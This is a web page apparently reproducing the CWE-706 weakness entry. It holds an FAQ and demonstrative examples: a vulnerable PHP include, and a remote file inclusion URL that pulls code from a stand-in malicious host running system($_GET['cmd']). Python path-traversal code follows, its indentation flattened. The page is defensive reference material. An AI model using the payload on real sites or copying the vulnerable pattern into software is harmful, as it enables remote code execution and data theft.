Description
The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.
Potential Impact
Confidentiality, Integrity
Read Application Data, Modify Application Data
Demonstrative Examples
$dir = $_GET['module_name'];include($dir . "/function.php");victim.php?module_name=http://malicious.example.comsystem($_GET['cmd']);victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l/bin/ls -limport os
import sys
def main():
filename = sys.argv[1]
path = os.path.join(os.getcwd(), filename)
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()import os
import sys
def main():
filename = sys.argv[1]
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
if path.startswith("/home/cwe/documents/"):
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()Detection Methods
- Automated Static Analysis — Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then sea
Related Weaknesses
Frequently Asked Questions
What is CWE-706?
CWE-706 (Use of Incorrectly-Resolved Name or Reference) is a software weakness identified by MITRE's Common Weakness Enumeration. It is classified as a Class-level weakness. The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.
How can CWE-706 be exploited?
Attackers can exploit CWE-706 (Use of Incorrectly-Resolved Name or Reference) to read application data, modify application data. This weakness is typically introduced during the Architecture and Design, Implementation phase of software development.
How do I prevent CWE-706?
Follow secure coding practices, conduct code reviews, and use automated security testing tools (SAST/DAST) to detect this weakness early in the development lifecycle.
What is the severity of CWE-706?
CWE-706 is classified as a Class-level weakness (High abstraction). Its actual severity depends on the specific context and how the weakness manifests in your application.